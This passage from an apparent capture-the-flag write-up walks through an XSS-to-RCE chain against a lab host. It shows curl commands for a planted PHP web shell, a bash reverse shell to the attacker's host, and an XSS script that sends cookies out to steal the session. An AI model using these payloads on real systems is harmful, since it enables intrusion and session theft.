| After sending the RCE XSS to administrator we get the following http calls
.. code-block::
10.129.252.14 - - [11/Aug/2024 18:42:26] "GET /xssrce.js HTTP/1.1" 304 -
10.129.252.14 - - [11/Aug/2024 18:42:31] "GET /evil.zip HTTP/1.1" 200 -

| We can now make use of the php payload
.. code-block:: bash
# id
CMD="id"
curl --path-as-is "${RHOST}/themes/evil/evil.php?0=$(echo -n "$CMD"| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Reverse shell, (don't forget to listen first: nc -nvlp 4444)
CMD="bash -c 'bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1'"
curl --path-as-is "${RHOST}/themes/evil/evil.php?0=$(echo -n "$CMD"| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")"

| You can also steal cookies (and therefore the php session)
.. code-block:: bash
cat <<EOF>xsscookie.js
var xhr=new XMLHttpRequest();
xhr.open("GET", "http://${LHOST}:${LPORTWEB}/?"+document.cookie, true);
xhr.send();

echo -e "\n# XSS Retrieve PHP session"
